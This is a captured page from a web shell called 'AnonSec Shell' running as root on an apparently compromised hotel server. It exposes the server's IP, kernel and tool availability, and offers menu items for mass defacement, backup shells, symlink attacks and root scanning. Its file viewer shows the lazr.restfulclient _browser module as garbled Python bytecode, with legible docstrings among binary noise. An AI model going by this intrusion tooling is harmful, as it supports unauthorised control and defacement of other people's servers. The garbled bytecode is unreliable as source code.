AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/lazr/restfulclient/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/lazr/restfulclient/__pycache__/_browser.cpython-310.pyc
o

�`J�@s�dZeZgd�ZddlZddlZddlmZddlm	Z	ddl
mZddlZddl
Z
ddlZddlZddlZddlmZddlmZmZzdd	lmZWney^dd
lmZejZYnwzddlmZWneyvddlmZYnwddlmZdd
lm Z ddl!m"Z"m#Z#ddl$m%Z%e&e'ur�e(Z)e*Z+ne'Z)e'Z+e
�,d�Z-e
�,d�Z.e
�,d�Z/dd�Z0dd�Z1ej2�3d�r�dZ4nddlm5Z4Gdd�de�Z6Gdd�de7�Z8Gdd�de8�Z9Gdd �d �Z:dS)!z�Browser object to make requests of lazr.restful web services.

The `Browser` class does some massage of HTTP requests and responses,
and handles custom caches. It is not part of the public
lazr.restfulclient API. (But maybe it should be?)
)�Browser�RestfulHttp�#ssl_certificate_validation_disabled�N)�md5)�BytesIO)�dumps)�sleep)�Http�urlnorm)�proxy_info_from_environment)�	ProxyInfo)�	urlencode)�Application)�URI)�	error_for�	HTTPError)�DatetimeJSONEncoders^\w+://z^\w+://s[?/:|]+cCs�z)t|t�r|�d�}n|}t�|�r(t|t�r#|�d�}|�d�}n|�d�}Wn	ty2Ynwt|t�r=|�d�}t|��	�}t
�d|�}t�d|�}t
j}|dd}t|�|krd|d|�}d�|�d�|f�S)	z�Return a filename suitable for the cache.

    Strips dangerous and common characters to create a filename we
    can use to store the cache in.
    �utf-8�idna��,� �N�,)�
isinstance�bytes�decode�re_url_scheme_s�match�encode�UnicodeError�unicode_typer�	hexdigest�
re_url_scheme�sub�re_slashr�maximum_cache_filename_length�len�join)�filename�filename_match�filemd5�maximum_filename_length�maximum_length_before_md5_sum�r.�=/usr/lib/python3/dist-packages/lazr/restfulclient/_browser.py�safenameUs.




��

r0cCsttj�dd��S)z�Whether the user has disabled SSL certificate connection.

    Some testing servers have broken certificates.  Rather than raising an
    error, we allow an environment variable,
    ``LP_DISABLE_SSL_CERTIFICATE_VALIDATION`` to disable the check.
    �%LP_DISABLE_SSL_CERTIFICATE_VALIDATIONF)�bool�os�environ�getr.r.r.r/r�s�rz"/etc/ssl/certs/ca-certificates.crt)�CA_CERTScsBeZdZdZdZdddef�fdd�	Z�fdd�Zdd	�Z�Z	S)
rz�An Http subclass with some custom behavior.

    This Http client uses the TE header instead of the Accept-Encoding
    header to ask for compressed representations. It also knows how to
    react when its cache is a MultipleRepresentationCache.
    �NcsDt�}tt|�j||||td�||_|jdur |j�|�dSdS)N)�"disable_ssl_certificate_validation�ca_certs)r�superr�__init__�SYSTEM_CA_CERTS�
authorizer�authorizeSession)�selfr=�cache�timeout�
proxy_info�
cert_disabled��	__class__r.r/r;�s
�
�zRestfulHttp.__init__c

sJd|vr|d=|jdur|j�||||�tt|��|||||||||	�	S)z4Use the authorizer to authorize an outgoing request.�
authorizationN)r=�authorizeRequestr:r�_request)
r?�conn�host�absolute_uri�request_uri�method�body�headers�redirections�cachekeyrDr.r/rH�s
�
�zRestfulHttp._requestcCst|jt�r
|j�||�SdS)�+Retrieve a cached value for an HTTP header.N)rr@�MultipleRepresentationCache�_getCachedHeader)r?�uri�headerr.r.r/rT�szRestfulHttp._getCachedHeader)
�__name__�
__module__�__qualname__�__doc__r&rr;rHrT�
__classcell__r.r.rDr/r�s�rc@s@eZdZdZdZefdd�Zdd�Zdd�Zd	d
�Z	dd�Z
d
S)�AtomicFileCachez�A FileCache that can be shared by multiple processes.

    Based on a patch found at
    <http://code.google.com/p/httplib2/issues/detail?id=125>.
    z.tempc
Cs\tj�|�|_||_z	t�|j�WdSty-}z|jtjkr"�WYd}~dSd}~ww)aUConstruct an ``AtomicFileCache``.

        :param cache: The directory to use as a cache.
        :param safe: A function that takes a key and returns a name that's
            safe to use as a filename.  The key must never return a string
            that begins with ``TEMPFILE_PREFIX``.  By default uses
            ``safename``.
        N)	r3�path�normpath�
_cache_dir�_get_safe_name�makedirs�OSError�errno�EEXIST)r?r@�safe�er.r.r/r;�s	���zAtomicFileCache.__init__cCs4|�|�}|�|j�rtd|j��tj�|j|�S)z0Return the path on disk where ``key`` is stored.z Cache key cannot start with '%s')r`�
startswith�TEMPFILE_PREFIX�
ValueErrorr3r]r(r_)r?�key�safe_keyr.r.r/�
_get_key_path�s
�zAtomicFileCache._get_key_pathc
Csn|�|�}zt|d�}z
|��W|��WS|��wttfy6}z|jtjkr+�WYd}~dSd}~ww)a�Get the value of ``key`` if set.

        This behaves slightly differently to ``FileCache`` in that if
        ``set()`` fails to store a key, this ``get()`` will behave as if that
        key were never set whereas ``FileCache`` returns the empty string.

        :param key: The key to retrieve.  Must be either bytes or unicode
            text.
        :return: The value of ``key`` if set, None otherwise.
        �rbN)rl�open�read�close�IOErrorrbrc�ENOENT)r?rj�cache_full_path�frfr.r.r/r5�s

���zAtomicFileCache.getcCsntj|j|jd�\}}t�|d�}|�|�|��|�|�}t	j
dkr/tj�|�r/t�
|�t�||�dS)z�Set ``key`` to ``value``.

        :param key: The key to set.  Must be either bytes or unicode text.
        :param value: The value to set ``key`` to.  Must be bytes.
        )�prefix�dir�wb�win32N)�tempfile�mkstemprhr_r3�fdopen�writerprl�sys�platformr]�exists�unlink�rename)r?rj�value�handle�	path_namertrsr.r.r/�set�s
�


zAtomicFileCache.setc
CsP|�|�}zt�|�WdSty'}z|jtjkr�WYd}~dSd}~ww)z�Delete ``key`` from the cache.

        If ``key`` has not already been set then has no effect.

        :param key: The key to delete.  Must be either bytes or unicode text.
        N)rlr3�removerbrcrr)r?rjrsrfr.r.r/�deletes
���zAtomicFileCache.deleteN)rWrXrYrZrhr0r;rlr5r�r�r.r.r.r/r\�sr\cs0eZdZdZ�fdd�Zdd�Zdd�Z�ZS)rSa>A cache that can hold different representations of the same resource.

    If a resource has two representations with two media types,
    FileCache will only store the most recently fetched
    representation. This cache can keep track of multiple
    representations of the same resource.

    This class works on the assumption that outside calling code sets
    an instance's request_media_type attribute to the value of the
    'Accept' header before initiating the request.

    This class is very much not thread-safe, but FileCache isn't
    thread-safe anyway.
    cstt|��||j�d|_dS)z>Tell FileCache to call append_media_type when generating keys.N)r:rSr;�append_media_type�request_media_type)r?r@rDr.r/r;.s
�
z$MultipleRepresentationCache.__init__cCs |jdur|d|j}t|�S)z�Append the request media type to the cache key.

        This ensures that representations of the same resource will be
        cached separately, so long as they're served as different
        media types.
        N�-)r�r0)r?rjr.r.r/r�4s
z-MultipleRepresentationCache.append_media_typec
Csrt|�\}}}}|�|�}|d}t|t�s|�d�}|dur7t|�D]}	|	�|�r6|	t|�d���Sq#dS)rR�:rN)	r
r5rrrrrgr'�strip)
r?rUrV�scheme�	authorityrLrQ�cached_value�header_start�liner.r.r/rT?s



�z,MultipleRepresentationCache._getCachedHeader)rWrXrYrZr;r�rTr[r.r.rDr/rSs
rSc@szeZdZdZe�ZdZddddefdd�Zdd�Z		dd
d�Z	dd
d�Z
dd�Zdd�Zddd�Z
dd�Zddd�ZdS)rz6A class for making calls to lazr.restful web services.�NcCsR|durt��}t�tj|�t|t�rt|�}|�	||||�|_
||_||_dS)z�Initialize, possibly creating a cache.

        If no cache is provided, a temporary directory will be used as
        a cache. The temporary directory will be automatically removed
        when the Python process exits.
        N)
ry�mkdtemp�atexit�register�shutil�rmtreer�	str_typesrS�httpFactory�_connection�
user_agent�max_retries)r?�service_root�credentialsr@rArBr�r�r.r.r/r;Ss
�
zBrowser.__init__c	Csltd|jd�D])}|jj||||d�\}}|jdvr-||jkr-td|d�}t|�q||fS||fS)Nrr�rMrNrO)i�i��)�ranger�r��request�status�intr)	r?�urlrMrNrO�retry_count�response�content�	sleep_forr.r.r/�_request_and_retryes
�
�
zBrowser._request_and_retry�GET�application/jsonc
Cs�|dkrtd��d|i}|jdur|j|d<t|jjt�r"||jj_|dur+|�|�|jt	|�|||d�\}}|j
dkrZ|dkrSd	|vsId
|vrN||jfSt||��d|_
||fSt
||�}	|	dure|	�||fS)z'Create an authenticated request object.ztag:launchpad.net:2008:redactedzUYou tried to access a resource that you don't have the server-side permission to see.�AcceptNz
User-Agentr�i0rz
If-None-MatchzIf-Modified-Since��)rir�rr�r@rSr��updater��strr��NOT_MODIFIEDrr)
r?r��datarM�
media_type�
extra_headersrOr�r��errorr.r.r/rHts2




�
�

	
zBrowser._requestFcCsHt|ttf�r
|}n	|�d�}|��}|j||d�\}}|r"||fS|S)z2GET a representation of the given resource or URI.r5�r�)rr�r�
get_method�build_request_urlrH)r?�resource_or_urirO�return_responser�rMr�r�r.r.r/r5�s
zBrowser.getcCs<d}|j||d�\}}t|�}t|t�s|�d�}t||�S)z?GET a WADL representation of the resource at the requested url.zapplication/vnd.sun.wadl+xml)r�r)rHr�rrrr)r?r��	wadl_typer�r�r.r.r/�get_wadl_application�s


zBrowser.get_wadl_applicationcKs||d<t|�}|�||d�S)z"POST a request to the web service.zws.op�POST)r
rH)r?r��method_name�kwsr�r.r.r/�post�szBrowser.postcCs,d|i}|dur
|�|�|j||d|d�S)z(PUT the given representation to the URL.�Content-TypeN�PUTr�)r�rH)r?r��representationr�rOr�r.r.r/�put�s
�zBrowser.putcCs|j|dd�dS)z%DELETE the resource at the given URL.�DELETE)rMN)rH)r?r�r.r.r/r��szBrowser.deletecCs^ddi}|dur
|�|�|j�t|�d�}|dur"|jjs"||d<|j|t|td�d|d�S)	z8PATCH the object at url with the updated representation.r�r�N�etagzIf-Match)�cls�PATCHr�)r�r�rTr��ignore_etagrHrr)r?r�r�rOr��cached_etagr.r.r/�patch�s
�z
Browser.patch)Nr�r�N)NF)N)rWrXrYrZ�objectr��MAX_RETRIESr;r�rHr5r�r�r�r�r�r.r.r.r/rMs"
�
�
<	
r);rZ�type�
__metaclass__�__all__r�rc�hashlibr�ior�jsonrr3�rer�r}ry�timer�httplib2r	r
r�ImportErrorr�from_environment�urllib.parser
�urllib�wadllib.applicationr�lazr.urir�lazr.restfulclient.errorsrr�lazr.restfulclient._jsonrrr��unicoder!�
basestringr��compiler#rr%r0rr]rr<r6rr�r\rSrr.r.r.r/�<module>s^
��


/.\.

Anon7 - 2022
AnonSec Team